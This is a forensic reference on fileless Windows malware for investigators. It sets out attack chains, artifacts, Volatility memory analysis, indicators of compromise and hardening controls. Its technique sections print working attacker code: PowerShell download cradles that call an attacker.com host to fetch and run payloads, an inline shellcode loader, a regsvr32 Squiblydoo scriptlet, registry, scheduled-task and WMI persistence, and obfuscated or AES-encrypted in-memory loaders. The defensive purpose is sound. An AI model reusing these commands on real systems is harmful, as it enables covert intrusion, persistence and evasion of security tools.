Fileless Malware
Techniques, Artifacts, and Detection Strategies for in-memory threats that operate without a disk footprint
Introduction & Background
This document provides a structured forensic and technical reference for fileless malware — one of the most evasive threat categories encountered in modern digital investigations. It is intended for forensic analysts, security researchers, and investigators conducting endpoint examinations including PC checks in environments such as FiveM, Minecraft servers, or enterprise networks.
Traditional malware analysis relies on a file-centric workflow: locate the executable, extract it, hash it, and match it against known signatures. This model has served the security industry for decades. Fileless malware is a deliberate attack on this model's foundational assumption — that malicious code must exist on disk to cause harm.
By operating exclusively within memory and abusing legitimate Windows utilities, fileless attacks achieve a level of stealth that renders most conventional endpoint security tools ineffective. Understanding these attacks at a technical level is the prerequisite for detecting and investigating them credibly.
This reference covers the Windows operating system, where the overwhelming majority of fileless attacks are observed. The techniques described apply to Windows 10, Windows 11, and Windows Server editions. Some behaviors differ between 32-bit and 64-bit processes; notes are provided where relevant.
What Is Fileless Malware?
Fileless malware is malicious activity that executes entirely within a system's volatile memory (RAM) and does not write a persistent malicious binary to disk. The term is somewhat imprecise — most fileless attacks do involve some form of file-based initial delivery (a phishing document, a malicious link) — but the key distinction is that no standalone executable payload is ever written to the file system.
The attacker leverages trusted, signed system utilities already present on the operating system to load, decode, and execute a payload that lives only in memory. This approach is categorized under "Living off the Land" (LotL) techniques — abusing the tools the operating system provides, against itself.
A typical fileless attack follows a multi-stage chain. Understanding the full chain helps investigators identify which stages left artifacts and where to focus forensic effort.
| Stage | Description | Common Vector | Disk Artifact? |
|---|---|---|---|
| Initial Access | Attacker gains entry to the endpoint | Phishing email, malicious Office macro, browser exploit | Sometimes (document file) |
| Execution | Initial code runs and calls a trusted binary | Office spawning PowerShell or cmd.exe | No |
| Download / Staging | Second-stage payload fetched from remote URL | Invoke-WebRequest, certutil, bitsadmin | No (memory only) |
| In-Memory Execution | Payload decoded and executed from RAM | Invoke-Expression, Assembly::Load() | No |
| Persistence (optional) | Mechanism established to survive reboot | Registry run keys, scheduled tasks | Registry / task XML |
| C2 Communication | Attacker communicates with compromised host | HTTP/HTTPS, DNS tunneling | No |
| Objective | Data exfiltration, credential theft, lateral movement | Varies | Minimal |
Attack Technique — PowerShell Abuse
PowerShell is the most frequently weaponized tool in fileless attack chains. Its deep integration with the .NET framework, its ability to execute code downloaded from remote sources, and its near-universal presence on Windows systems make it an exceptionally capable and available attack platform. Critically, PowerShell can compile and execute .NET code at runtime — allowing a complete payload to run from a string, never touching disk.
- -ExecutionPolicy Bypass — overrides the system execution policy without changing it; the most common first flag in PowerShell abuse
- Invoke-Expression (iex) — evaluates an arbitrary string as code; when combined with a downloaded string, this is the core of most fileless PS attacks
- Invoke-WebRequest / Invoke-RestMethod — downloads content from remote URLs, including scripts and binary payloads
- System.Reflection.Assembly::Load() — loads a .NET assembly directly from a byte array in memory, bypassing the normal file-load process
- -EncodedCommand — accepts a base64-encoded command, concealing the actual instruction from log scraping and string analysis
- -WindowStyle Hidden / -NonInteractive — suppresses the PowerShell window and user interaction prompts
- Add-Type — compiles and loads C# code inline within a script, enabling shellcode execution from pure PowerShell
# Stage 1: policy bypass + silent window + remote cradle powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command " Invoke-Expression (Invoke-RestMethod -Uri 'https://attacker.com/stage2.ps1') " # Shortened alias variant (common in obfuscated samples) powershell -ep bypass -c "iex(iwr 'https://attacker.com/stage2.ps1' -UseBasicParsing)" # Stage 2 (retrieved from remote, runs in memory): $wc = New-Object System.Net.WebClient $bytes = $wc.DownloadData('https://attacker.com/payload.bin') [System.Reflection.Assembly]::Load($bytes) # load .NET assembly from byte array
# P/Invoke via Add-Type — compile C# inline, call VirtualAlloc, inject shellcode $code = @" using System; using System.Runtime.InteropServices; public class Loader { [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p); [DllImport("kernel32")] public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr id); [DllImport("msvcrt")] public static extern IntPtr memset(IntPtr d, int c, uint cnt); } "@ Add-Type $code # compiles C# at runtime — no .exe written $buf = [Byte[]](0xfc,0x48,0x83,...) # shellcode bytes $addr = [Loader]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) # RWX memory [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) [Loader]::CreateThread(0, 0, $addr, 0, 0, 0) # execute shellcode thread
Attackers frequently force PowerShell to downgrade to version 2.0 using powershell -Version 2, which disables Script Block Logging and AMSI (Antimalware Scan Interface) — both of which were introduced in v5. Check event logs for PowerShell version 2 execution; it has almost no legitimate use on modern systems.
Attack Technique — Registry-Based Persistence
The Windows Registry provides a persistent storage mechanism that attackers exploit to maintain a presence across reboots without placing executable files on disk. By encoding an entire payload — or a loader command — into a registry value, the attacker ensures their code survives system restarts while remaining invisible to file-based scanning.
:: Create run key with encoded PowerShell payload reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^ /v "WindowsDefenderUpdate" ^ /t REG_SZ ^ /d "powershell -WindowStyle Hidden -EncodedCommand <BASE64>" /f :: Store payload binary in obscure registry location (REG_BINARY) reg add "HKCU\Software\Microsoft\Cryptography\{random-guid}" ^ /v "Config" /t REG_BINARY /d [hex-encoded-payload] /f :: Loader retrieves and executes it: $data = (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Cryptography\{guid}").Config $dec = [System.Text.Encoding]::Unicode.GetString($data) Invoke-Expression $dec
- Value naming — attackers mimic legitimate entry names: "WindowsDefenderUpdate", "MicrosoftEdge", "SystemHealthService"
- Timestamps — registry key last-write times can help place the persistence installation within an attack timeline
- HKCU vs HKLM — HKCU requires only standard user privileges; HKLM requires admin rights and is therefore more reliable if the attacker has escalated
Attack Technique — Scheduled Tasks as Loaders
Windows Task Scheduler allows code execution at login, at defined intervals, on system events, or on network availability. Attackers create tasks that invoke PowerShell or other scripting engines with obfuscated payloads, providing reliable fileless persistence. Tasks are defined as XML files under C:\Windows\System32\Tasks\, but their execution leaves no additional disk artifact.
# Create a scheduled task that runs at user logon $action = New-ScheduledTaskAction -Execute "powershell.exe" ` -Argument "-WindowStyle Hidden -EncodedCommand <BASE64>" $trigger = New-ScheduledTaskTrigger -AtLogOn $settings= New-ScheduledTaskSettingsSet -Hidden Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" ` -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest # Alternative via schtasks.exe (often less logged) schtasks /create /tn "WindowsDefenderCacheMaintenance" /tr ^ "powershell -ep bypass -W H -Enc <BASE64>" /sc onlogon /ru SYSTEM /f
Enumerate all scheduled tasks and examine the action command line of each. Any task invoking powershell.exe, cmd.exe, wscript.exe, mshta.exe, or cscript.exe with encoded or obfuscated parameters is highly suspicious. Check the task creation timestamp via Event ID 4698 in the Windows Security log.
Attack Technique — Regsvr32 Abuse
regsvr32.exe is a signed Windows binary used to register and unregister COM components. A well-documented fileless technique — known as Squiblydoo — exploits its ability to download and execute a remote COM scriptlet (.sct) file without writing anything to disk. Because regsvr32.exe is Microsoft-signed, it bypasses AppLocker and Software Restriction Policies in default configurations.
:: Squiblydoo — remote scriptlet execution via regsvr32 regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll :: Parameter breakdown: :: /s — silent (suppress all dialogs) :: /n — do not call DllRegisterServer :: /u — triggers DllInstall (with /i parameter) :: /i:[url] — URL or path for scriptlet to install :: scrobj.dll — Windows Script Component runtime (handles .sct parsing) :: The .sct scriptlet format (XML-based, executes arbitrary JScript/VBScript): <?XML version="1.0"?> <scriptlet> <registration progid="TESTING" classid="{AAAA...}"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell"); r.Run("powershell -ep bypass -Enc <BASE64>", 0, false); ]]> </script> </registration> </scriptlet>
Related binaries subject to similar abuse include: mshta.exe (runs remote .hta files), cmstp.exe (COM+ Service Template — can load remote INF scripts), odbcconf.exe (executes DLL via REGSVR action), and wmic.exe (can invoke remote XSL stylesheets via /format).
Attack Technique — WMI Abuse
Windows Management Instrumentation (WMI) is a powerful management framework that attackers exploit for both execution and persistence. WMI subscriptions allow code to execute in response to system events — reboots, user logons, process creation, time triggers — and run as a WMI Provider Host process, making the true origin difficult to identify.
# WMI permanent event subscription — persists across reboots, stored in WMI repository # 1. Event Filter — defines the trigger condition $filter = Set-WmiInstance -Namespace root\subscription ` -Class __EventFilter -Arguments @{ Name = "SystemHealthMonitor" EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hours = 12" # triggers at noon } # 2. Event Consumer — the action to execute $consumer = Set-WmiInstance -Namespace root\subscription ` -Class CommandLineEventConsumer -Arguments @{ Name = "SystemHealthExecutor" CommandLineTemplate = "powershell -ep bypass -W H -Enc <BASE64>" } # 3. Filter-to-Consumer Binding — links them Set-WmiInstance -Namespace root\subscription ` -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter Consumer = $consumer } # Stored in WMI repository: C:\Windows\System32\wbem\repository\ # Not a file on disk in the traditional sense — invisible to most scanners
Use Get-WMIObject -Namespace root\subscription -Class __EventFilter, __EventConsumer, and __FilterToConsumerBinding to enumerate active subscriptions. Any subscription not recognizable as a legitimate product (e.g., some security software uses WMI subscriptions) should be investigated. The WMI repository path is C:\Windows\System32\wbem\repository\.
Attack Technique — Process Injection
Process injection is the technique of inserting malicious code into the memory space of a legitimate running process, then executing it from within that process's context. This allows the malware to inherit the host process's security token, network identity, and trusted status — making it extremely difficult to distinguish from legitimate activity.
| Method | API Calls Used | Description | Detection Difficulty |
|---|---|---|---|
| Classic DLL Injection | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | Writes a DLL path into target process memory and triggers it via a remote thread | Medium — DLL must exist on disk |
| Reflective DLL Injection | Same as above, but DLL loaded from memory | DLL contains its own loader; no LoadLibrary call needed; no disk artifact | High — no file reference |
| Process Hollowing | CreateProcess (suspended), NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext | Spawns a legitimate process in suspended state, replaces its memory with payload, resumes | High — legitimate process name covers payload |
| APC Injection | OpenThread, QueueUserAPC | Queues an Asynchronous Procedure Call to a thread in the target process | High — no new threads created |
| Atom Bombing | GlobalAddAtom, NtQueueApcThread | Stores shellcode in global atom table, forces target to copy and execute it | Very High — uses legitimate OS mechanisms |
- Common injection targets:
explorer.exe,svchost.exe,lsass.exe,notepad.exe,RuntimeBroker.exe - Memory regions with RWX (read-write-execute) permissions in otherwise benign processes are a strong indicator
- Unsigned code executing from heap or stack memory in a normally clean process is detectable via memory forensics
Encoding & Encryption Techniques
Obfuscation is a foundational component of virtually all fileless malware deployments. Attackers layer multiple encoding and encryption techniques to defeat automated detection, sandbox analysis, and manual investigation. Each layer must be unwrapped during forensic analysis.
# Original plaintext command: Invoke-Expression (Invoke-RestMethod 'https://malicious.com/stage2.ps1') # Encode for -EncodedCommand (must be UTF-16LE, not UTF-8): $bytes = [System.Text.Encoding]::Unicode.GetBytes('Invoke-Expression (...)') $enc = [Convert]::ToBase64String($bytes) # Result: SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ... # Execute: powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ... # To decode during analysis: [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
# Character code reconstruction — bypasses simple string matching $cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101 # "Invoke" iex ($cmd + "-Expression ...") # String reversal $rev = "noisserp-xE-ekovnI" ; iex (-join $rev[-1..-$rev.Length]) # Format string substitution $x = "{0}{1}{2}" -f 'Inv', 'oke-', 'Expression' iex $x # Backtick insertion (ignored by PowerShell parser) i`e`x("I`nv`oke-Expressio`n ...")
# AES-256 encrypted payload — decrypted and executed in memory $key = [byte[]](0x4A,0x2F,0xC8,0x91,0x3E,0xD2,0x7A,0x5B,...) # 32 bytes $iv = [byte[]](0x9E,0x1D,0xF3,0x42,0x88,0xC6,0x0A,0x7F,...) # 16 bytes $payload = [Convert]::FromBase64String('<AES-256-CBC-encrypted-base64-blob>') $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $key ; $aes.IV = $iv ; $aes.Mode = 'CBC' ; $aes.Padding = 'PKCS7' $dec = $aes.CreateDecryptor() $code = $dec.TransformFinalBlock($payload, 0, $payload.Length) # Execute: option A — as script string iex ([System.Text.Encoding]::Unicode.GetString($code)) # Execute: option B — as .NET assembly loaded from bytes $asm = [System.Reflection.Assembly]::Load($code) $asm.EntryPoint.Invoke($null, $null)
Forensic Artifacts & Investigation Points
Despite its design intent to leave no trace, fileless malware generates investigable artifacts across multiple data sources. A thorough investigation must systematically examine each of the following. The order below roughly reflects investigation priority for a time-constrained PC check.
| Priority | Artifact | Exact Location | What to Examine |
|---|---|---|---|
| P1 | PowerShell History | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
Full command history per user; look for bypass flags, iex, encoded commands, wget to external URLs |
| P1 | PS Operational Log | Event Viewer → Apps & Services Logs → Microsoft → Windows → PowerShell → Operational | Script block logs (EID 4104), module loads (EID 4103); captures decoded content even when encoded on command line |
| P1 | Windows Security Log | Event Viewer → Windows Logs → Security | EID 4688 (process creation with cmdline), EID 4698/4702 (task created/modified), EID 4648 (explicit credential logon) |
| P2 | Running Process Tree | Task Manager → Details, or Sysinternals Process Explorer | Anomalous parent-child chains; look for browser/game/Office spawning powershell, wscript, or cmd |
| P2 | Scheduled Tasks | C:\Windows\System32\Tasks\ (XML files) + Task Scheduler MMC |
Action command lines; creation timestamps; tasks with encoded PS arguments; tasks named to mimic Windows components |
| P2 | Registry Run Keys | HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run[Once] |
Values containing powershell, cmd, wscript, mshta with encoded or obfuscated arguments; check last-write timestamps |
| P2 | WMI Subscriptions | root\subscription namespace: __EventFilter, __EventConsumer, __FilterToConsumerBinding |
Enumerate all three classes; any CommandLineEventConsumer with obfuscated command is highly suspicious |
| P3 | SRUM Database | C:\Windows\System32\sru\SRUDB.dat (ESE database) |
Application execution history with timestamps, network usage per process; parse with srum-dump or WinSearchDBAnalyzer |
| P3 | Prefetch Files | C:\Windows\Prefetch\POWERSHELL.EXE-*.pf |
Execution timestamps, run count, files accessed; confirms PS ran even if logs were cleared |
| P3 | AmCache / ShimCache | AmCache.hve: C:\Windows\AppCompat\Programs\Amcache.hve — ShimCache: SYSTEM hive |
Execution history of binaries including regsvr32, mshta; timestamps and file metadata even after deletion |
| P3 | Clipboard History | Windows Clipboard History (Win+V), ClipboardSvc | Copied script fragments, commands, URLs, encoded strings used during manual staging or testing |
| P3 | Network Artifacts | Windows Firewall log: C:\Windows\System32\LogFiles\Firewall\pfirewall.log + DNS cache |
Outbound connections from powershell.exe, regsvr32.exe, or unusual processes; DNS queries to unknown domains; ipconfig /displaydns |
Memory Analysis
Memory forensics is the cornerstone of fileless malware investigation. Since the payload never reaches disk, a RAM dump captured while the system is still running may be the only source of the actual malicious code. Never reboot a suspected system before capturing a memory image.
| Tool | Method | Output Format | Notes |
|---|---|---|---|
| WinPmem | Kernel driver | Raw / AFF4 | Open source; best for modern Windows 10/11 |
| DumpIt | Kernel driver | Raw / DMP | Simple single-executable; minimal dependencies |
| Magnet RAM Capture | Kernel driver | Raw | Free; GUI available; trusted in LE contexts |
| FTK Imager (memory) | Kernel driver | Raw / AD1 | Full forensic chain of custody support |
| Belkasoft Live RAM | Kernel driver | Raw | Also captures pagefile and hibernation file |
# Process listing and relationships vol -f mem.dmp windows.pslist # flat process list vol -f mem.dmp windows.pstree # parent-child tree (essential) vol -f mem.dmp windows.cmdline # full command line for each process vol -f mem.dmp windows.dlllist # DLLs loaded per process # Code injection detection vol -f mem.dmp windows.malfind # find VAD regions with RWX + MZ headers vol -f mem.dmp windows.hollowprocesses # detect process hollowing vol -f mem.dmp windows.ldrmodules # detect hidden/unlisted DLLs # Network investigation vol -f mem.dmp windows.netscan # active + recently closed connections vol -f mem.dmp windows.netstat # current socket table # Memory dump of specific process for further analysis vol -f mem.dmp windows.memmap --pid 1234 --dump vol -f mem.dmp windows.dumpfiles --pid 1234 # String extraction from process memory vol -f mem.dmp windows.strings --pid 1234 | grep -iE "http|base64|powershell|iex" # Registry hive analysis from memory vol -f mem.dmp windows.registry.hivelist vol -f mem.dmp windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
windows.malfind identifies memory regions that are marked as executable, contain no mapped file reference (i.e., not loaded from disk), and optionally start with a PE header (MZ signature). These are strong indicators of injected shellcode or a reflectively loaded DLL. Not every result is malicious — some legitimate software uses JIT compilation — but results from unexpected processes (explorer, svchost, game executables) warrant immediate investigation.
Indicators of Compromise
The following table catalogues the most reliable IoCs for fileless malware activity. Severity ratings assume no known-good explanation exists for the indicator in the environment being investigated.
| Indicator | Source | Severity | Context & Notes |
|---|---|---|---|
-ExecutionPolicy Bypass in PS history | PSReadLine history | HIGH | Standard user environments should never require policy bypass; admin tools may, but rarely |
iex or Invoke-Expression with downloaded content | PS history / Event log | CRITICAL | Evaluating a downloaded string as code is the core of nearly every fileless PS attack |
-EncodedCommand with a long base64 value | PS history / proc cmdline | HIGH | Intentional obfuscation of commands; decode and inspect the plaintext before assessing |
powershell -Version 2 invocation | Event log / proc cmdline | CRITICAL | Disables AMSI and script block logging; no legitimate use on modern Windows |
| Browser, game, or Office process spawning PowerShell | Event log EID 4688 / pstree | CRITICAL | Abnormal parent-child chain; hallmark of macro or browser exploit initial access |
regsvr32 making outbound network connection | Firewall log / netmon | CRITICAL | No legitimate use case for regsvr32 fetching a remote URL |
mshta.exe spawning child process or making network call | Event log / netmon | CRITICAL | mshta is routinely abused for HTA-based staging; should be blocked on most endpoints |
| Scheduled task with encoded PS argument | Task XML / Event EID 4698 | HIGH | Persistence mechanism; examine creation time and correlate with initial access window |
| WMI CommandLineEventConsumer subscription present | WMI namespace query | HIGH | Few legitimate products use this; security tools sometimes do — verify against known-good list |
| Registry run key with encoded command value | Registry / Event EID 4657 | HIGH | Persistence; compare value name against known-good baseline to detect masquerading |
| Malfind hits in svchost, explorer, or game process | Volatility malfind | CRITICAL | RWX memory with MZ header in unexpected process = injected PE; dump and disassemble |
| PowerShell outbound connection to non-CDN IP | Firewall log / netscan | MEDIUM | Correlate with execution time and PS history/event logs to confirm staging activity |
| Assembly::Load() in script block log (EID 4104) | PS Operational event log | CRITICAL | In-memory .NET assembly loading; extract the byte array argument for further analysis |
Detection Challenges
Understanding why fileless malware evades detection is as important as knowing how to find it. Each challenge below represents a deliberate design decision by attackers — and a gap that defenders must specifically address.
Defensive Strategies & Hardening
Effective defense requires a layered approach. The controls below are listed in approximate order of impact-to-effort ratio. None alone is sufficient; the combination creates the visibility and friction necessary to detect and disrupt fileless attacks.
| Control | Implementation | Events Enabled |
|---|---|---|
| PS Script Block Logging | GPO: Computer Config → Admin Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging | EID 4104 — captures decoded script blocks even when encoded on cmdline |
| PS Module Logging | Same GPO path → Turn on Module Logging → set module name to * | EID 4103 — logs all module function calls and their parameters |
| Process Creation Auditing | GPO: Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation → Enable + include cmdline in events | EID 4688 with full command line — essential for parent-child analysis |
| Scheduled Task Auditing | GPO: Security Settings → Advanced Audit Policy → Object Access → Audit Other Object Access Events | EID 4698 (task created), 4702 (task updated), 4699 (task deleted) |
| Registry Auditing | Enable auditing on specific run keys via regedit → key properties → permissions → auditing | EID 4657 — registry value set; captures persistence installation |
- PowerShell Constrained Language Mode — restricts PS to approved .NET types; blocks Add-Type, Assembly::Load(), and most fileless execution patterns; enforce via WDAC
- Windows Defender Application Control (WDAC) — policy-based binary execution control; more robust than AppLocker; blocks unsigned scripts and restricts LotL binaries
- AMSI Integration — ensure AMSI (Antimalware Scan Interface) is enabled and not disabled; block
amsi.dllpatching attempts via memory protection controls - Block regsvr32 outbound connections — host-based firewall rule blocking
regsvr32.exefrom making TCP connections eliminates the Squiblydoo technique entirely - Disable WScript / CScript for standard users — rename or restrict access to
wscript.exeandcscript.exeif VBScript/JScript execution is not required - Restrict mshta.exe — HTA execution has virtually no legitimate end-user use case; blocking mshta eliminates an entire class of initial access vectors
- Enforce signed PS scripts —
Set-ExecutionPolicy AllSignedrequires all scripts to carry a valid code-signing certificate, raising the cost of script-based attacks significantly
For time-constrained investigations in gaming or competitive environments, prioritize these steps in order: (1) Export full PS history file. (2) Export PowerShell Operational event log and Security event log. (3) Capture and review running process tree with full command lines. (4) Enumerate all scheduled tasks and inspect action commands. (5) Check registry run keys for all users. (6) If any of the above show indicators, acquire a memory image immediately before any further system interaction.
Tools Reference
| Tool | Category | Primary Use | Source |
|---|---|---|---|
| Volatility 3 | Memory Analysis | RAM dump analysis: processes, injection, networks, strings | Open source — volatilityfoundation.org |
| Rekall | Memory Analysis | Alternative memory analysis framework; strong profile support | Open source |
| Process Hacker / System Informer | Live Process Analysis | Real-time process tree, memory maps, handles, network; detects injected code via color coding | Open source |
| Sysinternals Suite | Live Investigation | Autoruns (persistence), Process Monitor (live activity), TCPView (connections) | Microsoft — learn.microsoft.com/sysinternals |
| PSDecode | PS Deobfuscation | Automatically de-obfuscates multi-layer PowerShell scripts | Open source — GitHub: @ahhhhhhhhh |
| CyberChef | Decoding / Analysis | Base64 decode, AES decrypt, XOR, format conversion; web-based | GCHQ — gchq.github.io/CyberChef |
| KAPE | Artifact Collection | Targeted forensic artifact collection — PS logs, event logs, registry, prefetch, SRUM | Kroll — ericzimmerman.github.io |
| Eric Zimmerman Tools | Artifact Parsing | Parse AmCache, ShimCache, prefetch, scheduled tasks, registry (Timeline Explorer) | Free — ericzimmerman.github.io |
| srum-dump | SRUM Analysis | Parse and export SRUDB.dat to readable spreadsheet format | Open source — GitHub: markbaggett |
| WinPmem | Memory Acquisition | Live memory acquisition on Windows 10/11; minimal footprint | Open source — GitHub: Velocidex |
| Get-WinEvent (PS) | Log Collection | Native PowerShell cmdlet for event log export and filtering | Built-in Windows |
| Sigcheck (Sysinternals) | Binary Verification | Verify code signing status and VirusTotal integration for running binaries | Microsoft — Sysinternals |
Conclusion
Fileless malware represents a sustained and deliberate evolution in attacker tradecraft. By leveraging legitimate system tools, operating entirely in memory, and applying layered obfuscation, these attacks defeat the file-centric security model that underpins most endpoint defenses. For forensic investigators, they demand an equivalent evolution in methodology — away from file scanning and toward behavioral analysis, log correlation, and memory forensics.
The techniques documented here — from PowerShell cradles to WMI subscriptions to process injection — share a common structural principle: they abuse the operating system's own capabilities against itself. This means the artifacts they leave are themselves embedded in legitimate system data sources: event logs, the WMI repository, the process table, registry hives, and RAM. Investigating these sources systematically, with the right tools and a clear understanding of what anomalous behavior looks like, is the foundation of effective fileless malware investigation.
Three principles define successful detection of these threats. First, logging must be configured aggressively before an incident — Script Block Logging, process creation auditing, and task auditing are all disabled by default and must be explicitly enabled. Second, memory must be acquired before anything else changes on a suspected system — the payload vanishes on reboot. Third, behavioral baselines matter — the difference between a malicious PowerShell invocation and a legitimate one often comes down to context: who spawned it, what it connected to, and what it tried to execute.
This document represents a point-in-time reference. The fileless malware landscape evolves continuously as attackers respond to improved detection capabilities. Investigators are encouraged to supplement this reference with current threat intelligence from sources including MITRE ATT&CK (particularly the Defense Evasion and Execution tactic trees), the SANS Internet Stormcast, and vendor threat intelligence feeds. The techniques described here map primarily to MITRE ATT&CK techniques T1059 (Command and Scripting Interpreter), T1546 (Event Triggered Execution), T1547 (Boot/Logon Autostart), T1055 (Process Injection), and T1112 (Modify Registry).